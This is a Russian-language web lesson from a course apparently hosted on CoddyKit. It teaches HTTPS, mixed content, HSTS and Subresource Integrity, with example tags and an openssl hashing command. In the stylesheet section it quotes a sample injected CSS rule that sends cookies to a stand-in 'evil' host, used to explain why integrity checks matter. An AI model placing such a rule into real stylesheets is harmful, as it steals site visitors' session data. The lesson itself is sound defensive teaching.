0Pricing
HTML Academy · Урок

HTTPS и целостность подресурсов

Проверяйте целостность внешних ресурсов с помощью атрибута integrity

«HTTPS и целостность подресурсов» — бесплатный урок HTML Academy на CoddyKit. Это урок 4 из 4. Ты можешь прочитать весь урок бесплатно ниже — а потом практиковать его прямо в браузере с встроенным редактором кода и ИИ-репетитором 24/7. Это часть пути обучения HTML Academy, и твой прогресс синхронизируется между веб-версией и приложением CoddyKit. Курс HTML Academy содержит 4 уроков всего.

Зачем повсюду использовать защищённое соединение

Защищённое соединение шифрует данные при передаче и подтверждает подлинность сервера. Без него злоумышленники в той же сети (в сети кафе, со стороны ISP или государственной структуры) могут прочитать каждый байт и внедрить вредоносное содержимое в ответы. Современные браузеры помечают незашифрованные страницы как «Небезопасно», а многие возможности (камера, геолокация, фоновые службы) отказываются работать без защиты.

Смешанное содержимое

Загрузка ресурсов по незашифрованному соединению со страницы, использующей защищённое соединение, называется смешанным содержимым. Браузер полностью блокирует активное смешанное содержимое (скрипты, фреймы, таблицы стилей) и предупреждает о пассивном (изображениях). Всегда загружайте каждый ресурс по защищённому соединению; используйте адреса без указания протокола (//cdn.example.com) или абсолютные адреса https://.

HSTS

Механизм строгой транспортной безопасности через заголовок ответа Strict-Transport-Security сообщает браузерам, что в будущем нужно отказывать в незашифрованных соединениях с вашим доменом. После сохранения HSTS злоумышленник не сможет перевести пользователя на незащищённое соединение даже при наличии позиции посредника между пользователем и сервером.

Зачем нужен SRI

Загрузка скриптов из сторонних CDN удобна, но рискованна: если CDN будет скомпрометирован, злоумышленник сможет заменить скрипт вредоносной программой. Проверка целостности подключаемого ресурса (SRI) заставляет браузер проверить криптографический хеш файла перед выполнением и отказаться от запуска, если хеш не совпадает.

Атрибут целостности

Добавьте в тег скрипта хеш SHA-256/384/512 в кодировке base64: <script src="https://cdn.example.com/lib.js" integrity="sha384-..." crossorigin="anonymous"></script>. Браузер вычисляет хеш загруженного файла и отказывается запускать его при несовпадении.

<link
  rel="stylesheet"
  href="https://cdn.example.com/styles.css"
  integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh"
  crossorigin="anonymous">

Создание хешей

Создайте хеш с помощью openssl: openssl dgst -sha384 -binary file.js | openssl base64 -A. Или используйте подключаемый модуль инструмента сборки, который автоматически добавляет атрибут целостности. Большинство CDN показывают тег SRI в готовом фрагменте для копирования.

Обязательная настройка доступа между источниками

SRI требует, чтобы ответ от другого источника разрешал проверку целостности через CORS. Добавьте к тегу crossorigin="anonymous" и убедитесь, что CDN отправляет Access-Control-Allow-Origin. Без этого браузер откажется от проверки, и ресурс не загрузится.

Несколько хешей

Атрибут целостности может содержать несколько хешей, разделённых пробелами. Это удобно при переходе между версиями: укажите хеши старой и новой версий, и браузер примет ту, которую отдаст CDN. Не используйте больше пары хешей, чтобы атрибут оставался читабельным.

SRI для таблиц стилей

SRI также защищает . Скомпрометированный файл CSS менее опасен напрямую, чем скомпрометированный скрипт, но внедрённый background: url("//evil/log?cookie=...") всё же может похитить данные. По возможности применяйте SRI к каждому внешнему ресурсу.

Самостоятельное размещение часто лучше

SRI снижает риск компрометации CDN, но не решает все проблемы: изменение хеша на CDN нарушит работу страницы, пока вы не обновите атрибут целостности. Для важных библиотек самостоятельно разместите проверенный файл — это одним действием устраняет необходимость закреплять хеш SRI и снижает риск атаки на цепочку поставок.

Производительность

SRI добавляет вычисление хеша для каждого ресурса — на современном оборудовании это незначительная нагрузка, всего несколько микросекунд на килобайт. Защита от атак на цепочку поставок намного важнее этой стоимости. При загрузке из CDN нет причин отказываться от SRI из соображений производительности.

Ограничения

SRI проверяет конкретные байты, но не защищает от того, что CDN отдаст разным пользователям разные файлы, выборочно нацеливая атаку. Для максимальной надёжности сочетайте SRI с защищённым соединением, HSTS, CSP и самостоятельным размещением наиболее важных ресурсов.

Проверка знаний

От чего защищает атрибут целостности в теге скрипта?

Итоги

Защищённое соединение шифрует данные и подтверждает подлинность, HSTS предотвращает атаки с понижением уровня защиты, а SRI проверяет, что сторонние файлы не были изменены. Добавляйте хеши целостности с анонимным разрешением доступа между источниками к каждому внешнему скрипту и каждой таблице стилей из CDN, которым вы не управляете. Для наиболее важных ресурсов используйте самостоятельное размещение — это полностью устраняет риск атаки на цепочку поставок.

Часто задаваемые вопросы

Урок «HTTPS и целостность подресурсов» бесплатный?

Да — полный текст урока «HTTPS и целостность подресурсов» бесплатно доступен здесь в веб-версии. Чтобы практиковать его интерактивно (встроенный редактор кода и ИИ-репетитор 24/7) и разблокировать остальной курс HTML Academy, подпишись на CoddyKit PRO. Курс HTML Academy содержит 4 уроков всего.

Чему я научусь в уроке «HTTPS и целостность подресурсов»?

Проверяйте целостность внешних ресурсов с помощью атрибута integrity Ты практикуешь HTML Academy с помощью реального кода, который запускаешь прямо в браузере, и ИИ-репетитор 24/7 отвечает на твои вопросы во время урока.

Нужен ли мне опыт, чтобы начать HTML Academy?

Предыдущий опыт не требуется. HTML Academy на CoddyKit структурирован для всех уровней — от новичков до продвинутых, поэтому ты можешь начать отсюда или с самого начала и учиться в своем темпе. Это урок 4 из 4.

Сколько времени занимает урок «HTTPS и целостность подресурсов»?

Большинство уроков CoddyKit занимают около 5–10 минут. Каждый из них компактный и интерактивный, поэтому ты постоянно делаешь прогресс и продолжаешь с того же места в веб-версии и приложении.

Можно ли писать и запускать код в этом уроке HTML Academy?

Да. Каждый урок HTML Academy включает встроенный редактор кода, поэтому ты пишешь и запускаешь реальный код прямо в браузере и получаешь моментальную обратную связь от AI — локальная установка не требуется.

Все уроки этого курса

  1. Политика безопасности содержимого: meta http-equiv
  2. XSS через innerHTML и способы защиты
  3. Песочница iframe и политика разрешений
  4. HTTPS и целостность подресурсов
← Назад к HTML Academy